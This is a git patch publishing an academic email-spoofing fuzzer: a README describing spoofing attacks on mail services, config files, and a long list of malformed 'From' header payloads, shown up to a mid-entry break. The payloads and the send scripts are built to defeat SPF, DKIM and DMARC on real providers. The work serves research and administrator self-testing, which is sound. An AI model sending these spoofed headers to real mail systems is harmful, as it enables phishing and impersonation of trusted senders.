From e455f68cd11cee18239feb12f53015c8cfff6d20 Mon Sep 17 00:00:00 2001 From: m0xiaoxi Date: Tue, 6 Oct 2020 15:25:00 +0800 Subject: [PATCH] make public --- .gitignore | 8 + LICENSE | 0 README.md | 189 ++- config.py | 43 + config/account.json | 13 + config/fuzz.json | 2507 +++++++++++++++++++++++++++++ config/rule.json | 52 + config/similar.txt | 1847 +++++++++++++++++++++ core/MTA.py | 116 ++ core/SMTP.py | 166 ++ email/__init__.py | 62 + email/_encoded_words.py | 221 +++ email/_header_value_parser.py | 2817 +++++++++++++++++++++++++++++++++ email/_parseaddr.py | 540 +++++++ email/_policybase.py | 374 +++++ email/architecture.rst | 216 +++ email/base64mime.py | 119 ++ email/charset.py | 406 +++++ email/contentmanager.py | 250 +++ email/encoders.py | 69 + email/errors.py | 107 ++ email/feedparser.py | 536 +++++++ email/generator.py | 508 ++++++ email/header.py | 578 +++++++ email/headerregistry.py | 589 +++++++ email/iterators.py | 71 + email/message.py | 1164 ++++++++++++++ email/mime/__init__.py | 0 email/mime/application.py | 37 + email/mime/audio.py | 74 + email/mime/base.py | 30 + email/mime/image.py | 47 + email/mime/message.py | 34 + email/mime/multipart.py | 48 + email/mime/nonmultipart.py | 22 + email/mime/text.py | 42 + email/parser.py | 132 ++ email/policy.py | 223 +++ email/quoprimime.py | 299 ++++ email/utils.py | 388 +++++ evaluate.py | 176 ++ fuzzer/abnf_parser.py | 404 +++++ fuzzer/basedata.py | 177 +++ fuzzer/mutation.py | 63 + fuzzer/rfc/rfc2234.txt | 88 + fuzzer/rfc/rfc3986.txt | 60 + fuzzer/rfc/rfc5322.txt | 230 +++ fuzzer/rfc/rfc7230.txt | 92 ++ img/demo.png | Bin 0 -> 119308 bytes img/email.png | Bin 0 -> 90185 bytes img/example.png | Bin 0 -> 172794 bytes img/list.png | Bin 0 -> 76940 bytes img/screenshots.png | Bin 0 -> 146519 bytes img/threat_model.png | Bin 0 -> 97583 bytes mta_send.py | 199 +++ pre_fuzz.py | 84 + requirements.txt | 28 + run_test.py | 99 ++ smtp_send.py | 325 ++++ uploads/test.txt | 1 + util/log.py | 29 + util/smtplib.py | 1147 ++++++++++++++ util/util.py | 48 + 63 files changed, 18193 insertions(+), 1 deletion(-) create mode 100644 .gitignore mode change 100644 => 100755 LICENSE create mode 100755 config.py create mode 100755 config/account.json create mode 100755 config/fuzz.json create mode 100755 config/rule.json create mode 100755 config/similar.txt create mode 100755 core/MTA.py create mode 100755 core/SMTP.py create mode 100755 email/__init__.py create mode 100755 email/_encoded_words.py create mode 100755 email/_header_value_parser.py create mode 100755 email/_parseaddr.py create mode 100755 email/_policybase.py create mode 100755 email/architecture.rst create mode 100755 email/base64mime.py create mode 100755 email/charset.py create mode 100755 email/contentmanager.py create mode 100755 email/encoders.py create mode 100755 email/errors.py create mode 100755 email/feedparser.py create mode 100755 email/generator.py create mode 100755 email/header.py create mode 100755 email/headerregistry.py create mode 100755 email/iterators.py create mode 100755 email/message.py create mode 100755 email/mime/__init__.py create mode 100755 email/mime/application.py create mode 100755 email/mime/audio.py create mode 100755 email/mime/base.py create mode 100755 email/mime/image.py create mode 100755 email/mime/message.py create mode 100755 email/mime/multipart.py create mode 100755 email/mime/nonmultipart.py create mode 100755 email/mime/text.py create mode 100755 email/parser.py create mode 100755 email/policy.py create mode 100755 email/quoprimime.py create mode 100755 email/utils.py create mode 100644 evaluate.py create mode 100755 fuzzer/abnf_parser.py create mode 100755 fuzzer/basedata.py create mode 100755 fuzzer/mutation.py create mode 100755 fuzzer/rfc/rfc2234.txt create mode 100755 fuzzer/rfc/rfc3986.txt create mode 100755 fuzzer/rfc/rfc5322.txt create mode 100755 fuzzer/rfc/rfc7230.txt create mode 100644 img/demo.png create mode 100755 img/email.png create mode 100644 img/example.png create mode 100644 img/list.png create mode 100755 img/screenshots.png create mode 100755 img/threat_model.png create mode 100755 mta_send.py create mode 100755 pre_fuzz.py create mode 100755 requirements.txt create mode 100755 run_test.py create mode 100755 smtp_send.py create mode 100755 uploads/test.txt create mode 100755 util/log.py create mode 100755 util/smtplib.py create mode 100755 util/util.py diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..8bd90f1 --- /dev/null +++ b/.gitignore @@ -0,0 +1,8 @@ +.idea +venv +__pycache__/* +.DS_Store +*.pyc +*.log +/log/smtp.log +/log/mta.log diff --git a/LICENSE b/LICENSE old mode 100644 new mode 100755 diff --git a/README.md b/README.md index 1e9164d..4b3d22d 100644 --- a/README.md +++ b/README.md @@ -1 +1,188 @@ -# EmailSpoofingTestTools \ No newline at end of file +# EmailSpoofingTestTools + +> This tool is based on our latest research,"Weak Links in Authentication Chains: A Large-scale +> Analysis of Email Sender Spoofing Attacks", accepted at USENIX Security '21. + +EmailSpoofingTestTools is a fuzzing tool for email sender spoofing attacks. This fuzzing tool can generate a number of test samples based on the ABNF grammar for authentication-related headers. Besides, we also provide an evaluation module to help email administrators to evaluate and increase their security. + +Our research systematically analyzes the email delivery process based on the four key stages of authentication: sending authentication, receiving verification, forwarding verification and UI rendering. + +As shown in the figure below, we define three types of email sender spoofing attacks: a. Shared MTA Attack, b. Direct MTA Attack. c. Forward MTA Attack. Furthermore, we found 14 email spoofing attacks capable of bypassing SPF, DKIM, DMARC, and user-interface protections. + +
Threat Model
+ +By conducting a "cocktail" joint attack, a spoofing email can completely pass all prevalent email security protocols, and no security warning is shown on the receiver’s MUA. Therefore, it is challenging to identify whether such an email is spoofing, even for people with a senior technical background. + +The following figure shows a spoofing example to impersonate admin@aliyun.com via Gmail. All the three email security protocols give "pass" verification results to the spoofing email. + +
Example
+ + + +## Install + +- Make sure have python3 installed in your computer. +- Download this tool + +```bash +git clone https://github.com/EmailTestTools/EmailTestTools.git +``` + +- Install dependencies + +```bash +sudo pip install -r requirements.txt +``` + +## Configure + +- Set the recipient address in `config.py` + + ```python + # Change receiveUser to what you like to test. + receiveUser = "xxx@gmail.com" + ``` + +- Configure your email account in `config/account.json`. + +```json +{ + "gmail.com": { + "user": "test@test.com", + "apipass": "apipass", + "passwd": "passwd", + "smtp_server": "mail.test.com:25", + "imap_server": "imap.test.com:143", + "pop3_server": "pop.test.com:110", + "ssl_smtp_server": "mail.test.com:465", + "ssl_imap_server": "imap.test.com:993", + "ssl_pop3_server": "pop.test.com:995"} +} +``` + +You can configure more than one account, and designate sending account in `config.py `. + +```python +# The domain name to be tested +target_domain = "gmail.com" +``` + +## Fuzzing + +#### 1. Generate malformed From headers. + +[pre_fuzz.py](./pre_fuzz.py) will automatically grab the ABNF rules in the relevant email specifications and generate test samples according to the ABNF rules. Since common mail services usually refuse to handle emails with highly deformed headers, we have specified set certain values for our empirical experiment purposes. Besides, we also introduced the common mutation methods in the protocol fuzz, such as header repeating, inserting spaces, inserting Unicode characters, header encoding, and case variation +**Usage:** + +| Short Form | Long Form | Description | +| ---------- | --------- | ------------------------------------------------------------ | +| -r | --rfc | The RFC number of the ABNF rule to be extracted. | +| -t | --target | The field to be fuzzed in ABNF rules. | +| -c | --count | The amount of ambiguity data that needs to be generated according to ABNF rules. | + +**Example:** + +```bash +python3 pre_fuzz.py -r 5322 -t from -c 255 +``` + +**Screenshots:** + +
screenshots
+ +**Generated Test Sample:** + +```json +"From :,()(comment),(\r\n)\r\n", +"From: <=?utf-8?RnJvbTp3b3Jkd29yZCgNCik8YXR0YWNrZXJAdG9wLmNvbT4sQWxpY2VAeW1haWwuY29tLHdlYm1hc3RlckBsaXZlLmNvbSxhZG1pbkBpY2xvdWQuY29tLHNlY3VyaXR5QHNvaHUuY29tDQo==?=>\u0000@attack.com", +"From: <=?utf-8?RnJvbTooY29tbQ0KZW50KTxockBtc24uY29tPix3b3Jkd29yZChoaSk8TWlrZUBhbGl5dW4uY29tPix3b3JkPGFkbWluQGhvdG1haWwuY29tPihoaSksd29yZHdvcmR3b3JkKCk8QHFxLmNvbTpAMTYzLmNvbTpzZWN1cml0eUBhbGl5dW4uY29tPihjb21tDQplbnQpDQo==?=>\u0000@attack.com", +"From:Bob@aliyun.com,(),,,word\r\n", +" FrOM: \r\nFrom:(comm\r\nent)<@qq.com:@163.com:Alice@foxmail.com>,word,word(comment)(comm\r\nent)\r\n", +" Fromÿ: \r\nFrom:key@msn.com\r\n", +" Fromÿ: \r\nFrom:(\r\n)<@gmail.com:@b.com:webmaster@live.com>,word(comment)<@qq.com:@163.com:webmaster@126.com>,<@a.com:@b.com:Alice@139.com>(comment)\r\n", +"From :,(\r\n),Mike@china.com,word(comm\r\nent),\r\n", +"From:()<@a.com:@b.com:security@ymail.com>(comm\r\nent)\r\n", +"From: \r\nFrom:(comm\r\nent),key@sohu.com\r\n", +" From:,,(comment),webmaster@sina.cn,(hi)\r\n", +"From: ,<@gmail.com:@b.com:admin@china.com>,(hi)<@gmail.com:@b.com:attacker@msn.com>,(hi),,(),\r\n", +"From: (hi)(),security@aliyun.com,word(comment)<@a.com:@b.com:Bob@ymail.com>(),word(\r\n)\r\n", +" Fromÿ: \r\nFrom:,key@139.com,,(hi),,(),\r\n", +... +``` + +For more test samples, please check this [file](https://github.com/EmailTestTools/EmailTestTools/blob/master/config/fuzz.json). + +#### 2. Send spoofing emails with malformed sender address + +[run_test.py](./run_test.py) will use the generated samples to test the security verification logic of the target mail system. We also carefully control the message sending rate with intervals over 10 minutes to minimize the impact's target email services. + +You can choose **Shared MTA** or **Direct MTA** to send spoofing emails. At the same time, you can also choose **MIME From** or **MAIL From** header to test. + +| Short Form | Long Form | Description | +| ---------- | --------- | ------------------------------------------------- | +| -m | --mode | Attack mode ( SMTP: Shared MTA, MTA: Direct MTA). | +| -t | --target | The target field to test. (MIME / MAIL ) | + +For example, if you want to use Direct MTA to fuzz MIME From header, you can execute: + +```bash +python3 run_test.py -m MTA -t MIME +``` + +By the way, if you want to use Shared MTA , you need to configure email sending account in `config/account.json` and `config.py`. + +#### 3. Analyze and summarize the employed adversarial techniques + +We analyze and summarize the employed adversarial techniques that make email sender spoofing successful in practice. We use two scripts to verify vulnerabilities in the real world. + +[smtp_send.py](./smtp_send.py) simulates as user's MUA to Sender's MTA via SMTP protocol (**Shared MTA**). It is to test the security issues of the Sender's MTA and test whether the receiver can accept the abnormal emails. + +[mta_send.py](./mta_send.py) simulate as Sender's MTA to communicate with Receiver's MTA (**Direct MTA**). This tool can be simulated as any email sender and can test receiver's security. + +## Evaluation + +We provide an evaluation tool to help email administrators to evaluate and strengthen their security. After configuring the target email system information, this tool will try to interact with the target system and evaluate whether it is vulnerable to the attacks we found. For the vulnerable attacks, administrators can configure corresponding filtering rules to defend against attacks. + +- Configure the recipient address and your email sending account. + +- Just excute: + + ```bash + python3 evaluate.py + ``` + + The program will use both shared MTA and direct MTA methods to try to send forged emails to the recipient. + +- Check whether these emails are in the inbox of the recipient account. + +The body of these forged emails contains detailed information about each header in email and corresponding defense measures, such as rejecting the letter, providing security warnings on the front end, etc. If a forged email enters the inbox of the target mail system, the administrator can easily understand the attack principle and take effective measures to defend it. + +It should be noted that when using Direct MTA to test, some email headers need to be manually specified in some email spoofing attacks. So you may need to configure these headers' default values in `config.py`. + +```python +# Some default values in Direct MTA Attack when the attack does not specify these parameter values +mail_from = 'xxx@test.com' +mime_from = 'xxx@test.com' +reply_to = mime_from +sender = "xxx@test.com" +to_email = 'xxx@gmail.com' +subject = 'This is subject' +content = """This is content""" +helo = 'test.com' +``` + +The following is an example of using this tool to evaluate the security of the target email system. + +You can see that some spoofing emails have entered the inbox of the target email system. This means that the target system may be vulnerable to the corresponding attacks + +![list.png](img/list.png) + + + +You can get more information by reading the content of the email, including details of the attack and how to fix such vulnerabilities. + +![img/demo.png](img/demo.png) + +## Version + +Current version is 1.2 \ No newline at end of file diff --git a/config.py b/config.py new file mode 100755 index 0000000..e3398d5 --- /dev/null +++ b/config.py @@ -0,0 +1,43 @@ +#!/usr/bin/env python + +import os, json +from util.util import init_log, banner + +BASE_DIR = os.path.dirname(os.path.abspath(__file__)) +LOG_FILE = BASE_DIR + '/log/run.log' +FUZZ_PATH = BASE_DIR + '/config/fuzz.json' +RULE_PATH = BASE_DIR + '/config/rule.json' +ACCOUNT_PATH = BASE_DIR + '/config/account.json' + +logger = init_log(LOG_FILE) + +with open(RULE_PATH, 'r') as f: + CONFIG_RULES = json.load(f) + +with open(ACCOUNT_PATH, 'r') as f: + ACCOUNTS = json.load(f) + +# The domain name to be tested +target_domain = "gmail.com" + +account = ACCOUNTS[target_domain] +user = account['user'] +passwd = account['apipass'] +smtp_server = account['smtp_server'] + +# Change receiveUser to what you like to test. +receiveUser = "xxx@gmail.com" + +# Some default values in Direct MTA Attack +mail_from = 'test@test.com' +mime_from = 'test@test.com' +reply_to = mime_from +sender = "test@test.com" +to_email = receiveUser +subject = 'This is subject' +content = """This is content""" +helo = 'test.com' +filename = None +image = None + +# diff --git a/config/account.json b/config/account.json new file mode 100755 index 0000000..e1ee551 --- /dev/null +++ b/config/account.json @@ -0,0 +1,13 @@ +{ + "gmail.com": { + "user": "test@test.com", + "apipass": "apipass", + "passwd": "passwd", + "smtp_server": "mail.test.com:25", + "imap_server": "imap.test.com:143", + "pop3_server": "pop.test.com:110", + "ssl_smtp_server": "mail.test.com:465", + "ssl_imap_server": "imap.test.com:993", + "ssl_pop3_server": "pop.test.com:995" + }, +} \ No newline at end of file diff --git a/config/fuzz.json b/config/fuzz.json new file mode 100755 index 0000000..fc79b4b --- /dev/null +++ b/config/fuzz.json @@ -0,0 +1,2507 @@ +[ + "From :,()(comment),(\r\n)\r\n", + "From: <=?utf-8?RnJvbTp3b3Jkd29yZCgNCik8YXR0YWNrZXJAdG9wLmNvbT4sQWxpY2VAeW1haWwuY29tLHdlYm1hc3RlckBsaXZlLmNvbSxhZG1pbkBpY2xvdWQuY29tLHNlY3VyaXR5QHNvaHUuY29tDQo==?=>\u0000@attack.com", + "From: <=?utf-8?RnJvbTooY29tbQ0KZW50KTxockBtc24uY29tPix3b3Jkd29yZChoaSk8TWlrZUBhbGl5dW4uY29tPix3b3JkPGFkbWluQGhvdG1haWwuY29tPihoaSksd29yZHdvcmR3b3JkKCk8QHFxLmNvbTpAMTYzLmNvbTpzZWN1cml0eUBhbGl5dW4uY29tPihjb21tDQplbnQpDQo==?=>\u0000@attack.com", + "From:Bob@aliyun.com,(),,,word\r\n", + " FrOM: \r\nFrom:(comm\r\nent)<@qq.com:@163.com:Alice@foxmail.com>,word,word(comment)(comm\r\nent)\r\n", + " Fromÿ: \r\nFrom:key@msn.com\r\n", + " Fromÿ: \r\nFrom:(\r\n)<@gmail.com:@b.com:webmaster@live.com>,word(comment)<@qq.com:@163.com:webmaster@126.com>,<@a.com:@b.com:Alice@139.com>(comment)\r\n", + "From :,(\r\n),Mike@china.com,word(comm\r\nent),\r\n", + "From:()<@a.com:@b.com:security@ymail.com>(comm\r\nent)\r\n", + "From: \r\nFrom:(comm\r\nent),key@sohu.com\r\n", + " From:,,(comment),webmaster@sina.cn,(hi)\r\n", + "From: ,<@gmail.com:@b.com:admin@china.com>,(hi)<@gmail.com:@b.com:attacker@msn.com>,(hi),,(),\r\n", + "From: (hi)(),security@aliyun.com,word(comment)<@a.com:@b.com:Bob@ymail.com>(),word(\r\n)\r\n", + " Fromÿ: \r\nFrom:,key@139.com,,(hi),,(),\r\n", + "From: <=?utf-8?RnJvbTprZXlAb3V0bG9vay5jb20sKGNvbW0NCmVudCkNCg===?=>\u0000@attack.com", + "From:word(comm\r\nent)\r\n", + "From :word(comm\r\nent),,(\r\n)\r\n", + "From:,key@139.com,admin@foxmail.com,word.<@gmail.com:@b.com:attacker@sina.com>,,\r\n", + "From: \r\nFrom:(hi),(),,,word()(\r\n)()\r\n", + " From:(hi)(hi),<@qq.com:@163.com:Alice@gmail.com>()\r\n", + "From:(\r\n),(hi),(),(comm\r\nent),\r\n", + "From:Alice@foxmail.com,attacker@139.com\r\n", + "From :word.(\r\n),hr@ymail.com\r\n", + "From :(),(comm\r\nent),(comm\r\nent),(comment)\r\n", + " Fromÿ: \r\nFrom:,(\r\n),(),Bob@139.com,,,(\r\n)\r\n", + " FrOM: \r\nFrom:(\r\n),admin@ymail.com.cn\r\n", + " Fromÿ: \r\nFrom:word(comment)word,wordwordwordwordwordwordwordword(comm\r\nent),admin@139.com,webmaster@126.com,word<@qq.com:@163.com:Bob@foxmail.com>(comm\r\nent)\r\n", + "From: <=?utf-8?RnJvbTphdHRhY2tlckBzaW5hLmNvbSx3b3JkPEBxcS5jb206QDE2My5jb206QWxpY2VAdG9wLmNvbT4oaGkpDQo==?=>", + "From :admin@139.com,(comm\r\nent)(comment)\r\n", + "From: \r\nFrom:,hr@aliyun.com\r\n", + " Fromÿ: \r\nFrom:admin@icloud.com\r\n", + "From: <=?utf-8?RnJvbTosPGF0dGFja2VyQHNpbmEuY24+KA0KKQ0K=?=>", + "From:wordword(comment)<@qq.com:@163.com:webmaster@china.com>\r\n", + "From: <=?utf-8?RnJvbTpBbGljZUBhbGl5dW4uY29tDQo==?=>", + " From:key@top.com,word(comm\r\nent)word(\r\n)<@gmail.com:@b.com:Mike@hotmail.com>(comment)\r\n", + " From: \r\nFrom:wordword(comment)<@gmail.com:@b.com:webmaster@ymail.com.cn>\r\n", + "From:hr@icloud.com,(comm\r\nent)<@qq.com:@163.com:Alice@outlook.com>,(comment),,(\r\n),word<@gmail.com:@b.com:hr@sina.cn>(),\r\n", + " FrOM: \r\nFrom:(),(hi)<@a.com:@b.com:Alice@live.com>(hi),\r\n", + "From: <=?utf-8?RnJvbTpockBnbWFpbC5jb20NCg===?=>", + " Fromÿ: \r\nFrom:Mike@msn.com,hr@top.com,webmaster@hotmail.com\r\n", + "From: <=?utf-8?RnJvbTooY29tbQ0KZW50KTxockB5bWFpbC5jb20uY24+LHdvcmR3b3Jkd29yZChjb21tDQplbnQpPGhyQGZveG1haWwuY29tPigNCiksYWRtaW5AZm94bWFpbC5jb20sd2VibWFzdGVyQDEzOS5jb20sc2VjdXJpdHlAZ21haWwuY29tDQo==?=>\u0000@attack.com", + "From:Bob@sohu.com\r\n", + "From: <=?utf-8?RnJvbTp3ZWJtYXN0ZXJAZ21haWwuY29tLGtleUAxMjYuY29tDQo==?=>\u0000@attack.com", + "From: \r\nFrom:wordword(comment)<@qq.com:@163.com:webmaster@china.com>\r\n", + "From: \r\nFrom:attacker@gmail.com,(comm\r\nent)(comment),key@gmail.com\r\n", + " Fromÿ: \r\nFrom:,(comment),key@qq.com,(hi)\r\n", + " FrOM: \r\nFrom:(hi)(hi),<@qq.com:@163.com:Alice@gmail.com>()\r\n", + "From: \r\nFrom:(hi),,(hi),(hi)\r\n", + "From: \r\nFrom:admin@139.com,(comm\r\nent)(comment)\r\n", + "From: <=?utf-8?RnJvbTooKSxCb2JAcXEuY29tDQo==?=>", + "From: \r\nFrom:word(comment),<@qq.com:@163.com:Bob@ymail.com.cn>\r\n", + "From: \r\nFrom:hr@126.com\r\n", + "From:webmaster@sina.com\r\n", + " From: \r\nFrom:key@sina.cn,\r\n", + "From: Bob@aliyun.com,(),,,word\r\n", + "From: Alice@aliyun.com\r\n", + " From:,attacker@hotmail.com\r\n", + "From: <=?utf-8?RnJvbTp3b3JkKGNvbW1lbnQpPEBhLmNvbTpAYi5jb206a2V5QDEyNi5jb20+LHdvcmQuPGF0dGFja2VyQGdtYWlsLmNvbT4oDQopLHdvcmQoKTxzZWN1cml0eUBzaW5hLmNuPihjb21tZW50KSwsKGNvbW1lbnQpDQo==?=>\u0000@attack.com", + "From:,Alice@top.com\r\n", + "From: wordword.word.()word.<@a.com:@b.com:admin@icloud.com>\r\n", + "From :wordwordwordword(comment)<@a.com:@b.com:Bob@hotmail.com>(\r\n)\r\n", + " From: \r\nFrom:(hi),(comm\r\nent),word().(\r\n)\r\n", + " From: \r\nFrom:,,(comm\r\nent),(),(),,wordwordword,,hr@live.com\r\n", + " From: \r\nFrom:word(comment)<@gmail.com:@b.com:hr@qq.com>(\r\n)\r\n", + " FrOM: \r\nFrom:,(\r\n),Mike@china.com,word(comm\r\nent),\r\n", + " From: \r\nFrom:attacker@gmail.com,Mike@ymail.com.cn\r\n", + "From: ,(hi)<@a.com:@b.com:Bob@sohu.com>,\r\n", + " Fromÿ: \r\nFrom:key@icloud.com,wordwordword(\r\n),(comment)(hi)\r\n", + "From: <=?utf-8?RnJvbTo8QGdtYWlsLmNvbTpAYi5jb206QWxpY2VAc2luYS5jb20+LChoaSk8YXR0YWNrZXJAbXNuLmNvbT4oaGkpDQo==?=>", + "From: \r\nFrom:wordwordwordword(comment)<@a.com:@b.com:Bob@hotmail.com>(\r\n)\r\n", + "From :attacker@gmail.com,(comm\r\nent)(comment),key@gmail.com\r\n", + "From: <=?utf-8?RnJvbTooaGkpLCwoaGkpLDx3ZWJtYXN0ZXJAdG9wLmNvbT4oaGkpDQo==?=>", + " FrOM: \r\nFrom:word(\r\n)(\r\n)\r\n", + " From:security@ymail.com.cn,security@qq.com,wordword<@gmail.com:@b.com:webmaster@ymail.com.cn>\r\n", + "From :key@sohu.com\r\n", + " FrOM: \r\nFrom:Alice@aliyun.com\r\n", + " From:Bob@china.com,<@qq.com:@163.com:Bob@qq.com>\r\n", + " From:word(comm\r\nent),security@sina.cn,(comment),security@163.com\r\n", + "From:Alice@qq.com,word.,security@sina.cn,security@126.com,word(comment)\r\n", + " Fromÿ: \r\nFrom:webmaster@ymail.com,<@qq.com:@163.com:key@china.com>\r\n", + " From: \r\nFrom:()\r\n", + " From:wordword(\r\n)\r\n", + "From :security@china.com,,\r\n", + " From: \r\nFrom:attacker@outlook.com\r\n", + "From: \r\nFrom:(comm\r\nent)<@qq.com:@163.com:Alice@foxmail.com>,word,word(comment)(comm\r\nent)\r\n", + " FrOM: \r\nFrom:<@a.com:@b.com:attacker@139.com>\r\n", + "From :word(comment),<@qq.com:@163.com:Bob@ymail.com.cn>\r\n", + "From:word(\r\n)<@a.com:@b.com:admin@139.com>,,<@a.com:@b.com:key@aliyun.com>\r\n", + " From: \r\nFrom:wordword(comment)<@qq.com:@163.com:webmaster@china.com>\r\n", + " From: \r\nFrom:admin@139.com,(comm\r\nent)(comment)\r\n", + "From: <=?utf-8?RnJvbTo8QGEuY29tOkBiLmNvbTpCb2JAMTYzLmNvbT4oaGkpDQo==?=>\u0000@attack.com", + "From: \r\nFrom:word<@gmail.com:@b.com:security@sina.cn>,webmaster@foxmail.com,security@sina.com,word<@a.com:@b.com:attacker@outlook.com>,<@qq.com:@163.com:security@ymail.com.cn>\r\n", + "From:attacker@gmail.com,(comm\r\nent)(comment),key@gmail.com\r\n", + "From:word(hi),word<@a.com:@b.com:Mike@icloud.com>\r\n", + "From: <=?utf-8?RnJvbTphZG1pbkBsaXZlLmNvbQ0K=?=>", + "From :<@qq.com:@163.com:attacker@live.com>(comment)\r\n", + "From :(),Mike@139.com,\r\n", + "From: <=?utf-8?RnJvbTphZG1pbkAxNjMuY29tLGF0dGFja2VyQGhvdG1haWwuY29tDQo==?=>", + "From: \r\nFrom:,()(comment),(\r\n)\r\n", + "From: <=?utf-8?RnJvbTpNaWtlQG1zbi5jb20saHJAdG9wLmNvbSx3ZWJtYXN0ZXJAaG90bWFpbC5jb20NCg===?=>\u0000@attack.com", + "From: (hi)<@qq.com:@163.com:admin@foxmail.com>(),<@gmail.com:@b.com:key@foxmail.com>(\r\n),<@a.com:@b.com:Mike@ymail.com.cn>(),(comm\r\nent)\r\n", + " From:,<@gmail.com:@b.com:admin@china.com>,(hi)<@gmail.com:@b.com:attacker@msn.com>,(hi),,(),\r\n", + "From:word(comment)(comment)\r\n", + "From: ,attacker@hotmail.com\r\n", + "From: <=?utf-8?RnJvbTprZXlAbGl2ZS5jb20NCg===?=>\u0000@attack.com", + "From: <=?utf-8?RnJvbTphZG1pbkBsaXZlLmNvbSxrZXlAaWNsb3VkLmNvbSw8QGdtYWlsLmNvbTpAYi5jb206aHJAeW1haWwuY29tLmNuPigpDQo==?=>\u0000@attack.com", + " FrOM: \r\nFrom:key@sina.cn,\r\n", + " Fromÿ: \r\nFrom:Alice@msn.com,\r\n", + "From: <=?utf-8?RnJvbTp3b3JkKGNvbW1lbnQpPGhyQHNvaHUuY29tPihoaSksQm9iQHltYWlsLmNvbS5jbiwoY29tbWVudCk8QGdtYWlsLmNvbTpAYi5jb206c2VjdXJpdHlAZm94bWFpbC5jb20+DQo==?=>", + "From: admin@icloud.com\r\n", + " FrOM: \r\nFrom:word<@a.com:@b.com:admin@icloud.com>,(\r\n)<@a.com:@b.com:Alice@gmail.com>,(hi)<@qq.com:@163.com:key@sohu.com>,word(\r\n)(hi),security@aliyun.com,webmaster@126.com\r\n", + "From: \r\nFrom:,(\r\n),hr@aliyun.com,\r\n", + " From:word(hi)<@gmail.com:@b.com:Bob@163.com>(hi)\r\n", + "From: <=?utf-8?RnJvbTp3b3JkKA0KKTxrZXlAbGl2ZS5jb20+KA0KKQ0K=?=>\u0000@attack.com", + " Fromÿ: \r\nFrom:webmaster@139.com\r\n", + " From:,hr@126.com,(hi)\r\n", + " Fromÿ: \r\nFrom:Mike@icloud.com,admin@aliyun.com,hr@sina.com,Bob@163.com,wordwordwordword<@qq.com:@163.com:security@163.com>,word(comment)<@gmail.com:@b.com:security@139.com>\r\n", + "From: <=?utf-8?RnJvbTooY29tbWVudCksd29yZHdvcmQ8YWRtaW5AaG90bWFpbC5jb20+DQo==?=>\u0000@attack.com", + " FrOM: \r\nFrom:,,key@foxmail.com\r\n", + " Fromÿ: \r\nFrom:,,key@foxmail.com\r\n", + " From: \r\nFrom:Alice@qq.com,word.,security@sina.cn,security@126.com,word(comment)\r\n", + "From: \r\nFrom:(hi)(),security@aliyun.com,word(comment)<@a.com:@b.com:Bob@ymail.com>(),word(\r\n)\r\n", + " From: \r\nFrom:security@china.com,,\r\n", + " From:wordword(),wordwordword(comm\r\nent)\r\n", + " Fromÿ: \r\nFrom:Bob@msn.com,Mike@126.com,word(comment),word<@qq.com:@163.com:Alice@outlook.com>(comm\r\nent)\r\n", + "From: <=?utf-8?RnJvbTosKCk8a2V5QHltYWlsLmNvbT4oY29tbWVudCksKA0KKQ0K=?=>", + " From:()<@gmail.com:@b.com:Mike@live.com>\r\n", + "From: \r\nFrom:(comm\r\nent)\r\n", + "From :wordword(\r\n)\r\n", + "From: \r\nFrom:admin@china.com\r\n", + " FrOM: \r\nFrom:word.(\r\n),hr@ymail.com\r\n", + " From: \r\nFrom:attacker@163.com\r\n", + " From: \r\nFrom:,<@a.com:@b.com:Alice@sina.cn>\r\n", + " FrOM: \r\nFrom:word(\r\n)()\r\n", + "From :admin@china.com,(comment)<@a.com:@b.com:attacker@china.com>(comment)\r\n", + "From: <=?utf-8?RnJvbTp3b3JkLigpPE1pa2VAMTI2LmNvbT4oKSw8QGdtYWlsLmNvbTpAYi5jb206a2V5QG1zbi5jb20+KGNvbW0NCmVudCksd29yZCgNCik8d2VibWFzdGVyQDEyNi5jb20+LDxNaWtlQGZveG1haWwuY29tPg0K=?=>", + "From: <=?utf-8?RnJvbTp3b3Jkd29yZHdvcmQoY29tbWVudCk8YWRtaW5AMTM5LmNvbT4NCg===?=>\u0000@attack.com", + "From: <=?utf-8?RnJvbTprZXlAbXNuLmNvbSxhdHRhY2tlckAxNjMuY29tLHdvcmQuKCkoY29tbQ0KZW50KSgpPEBxcS5jb206QDE2My5jb206TWlrZUBzaW5hLmNuPihjb21tDQplbnQpLHdvcmR3b3JkKGNvbW1lbnQpPEBxcS5jb206QDE2My5jb206c2VjdXJpdHlAc29odS5jb20+KA0KKSx3b3JkPHNlY3VyaXR5QHltYWlsLmNvbT4oY29tbQ0KZW50KSx3b3JkPE1pa2VAb3V0bG9vay5jb20+DQo==?=>", + " FrOM: \r\nFrom:word(comm\r\nent),security@sina.cn,(comment),security@163.com\r\n", + "From:admin@china.com,,,\r\n", + " From: \r\nFrom:(\r\n)<@gmail.com:@b.com:attacker@foxmail.com>()\r\n", + " From:,(\r\n),hr@aliyun.com,\r\n", + "From: <=?utf-8?RnJvbTpNaWtlQGljbG91ZC5jb20sYWRtaW5AYWxpeXVuLmNvbSxockBzaW5hLmNvbSxCb2JAMTYzLmNvbSx3b3Jkd29yZHdvcmR3b3JkPEBxcS5jb206QDE2My5jb206c2VjdXJpdHlAMTYzLmNvbT4sd29yZChjb21tZW50KTxAZ21haWwuY29tOkBiLmNvbTpzZWN1cml0eUAxMzkuY29tPg0K=?=>", + " From:attacker@china.com,Bob@139.com,word(comm\r\nent)\r\n", + " Fromÿ: \r\nFrom:word(comm\r\nent),,(\r\n)\r\n", + "From: security@ymail.com.cn,security@qq.com,wordword<@gmail.com:@b.com:webmaster@ymail.com.cn>\r\n", + "From: <=?utf-8?RnJvbTp3b3JkKCk8aHJAbGl2ZS5jb20+LHdvcmR3b3JkKGhpKTxCb2JAMTM5LmNvbT4NCg===?=>", + " FrOM: \r\nFrom:attacker@163.com\r\n", + "From: <=?utf-8?RnJvbTpockB5bWFpbC5jb20uY24NCg===?=>", + "From:,,,word(\r\n)\r\n", + "From: \r\nFrom:webmaster@126.com\r\n", + " From:()<@a.com:@b.com:security@ymail.com>(comm\r\nent)\r\n", + " From: \r\nFrom:word<@qq.com:@163.com:webmaster@ymail.com.cn>,Alice@gmail.com,word(comment)..word\r\n", + " Fromÿ: \r\nFrom:hr@126.com\r\n", + "From: security@126.com\r\n", + " Fromÿ: \r\nFrom:key@outlook.com,(comm\r\nent)\r\n", + " From: \r\nFrom:(comment),word<@qq.com:@163.com:security@msn.com>(comm\r\nent),hr@139.com\r\n", + " FrOM: \r\nFrom:,Mike@ymail.com\r\n", + " Fromÿ: 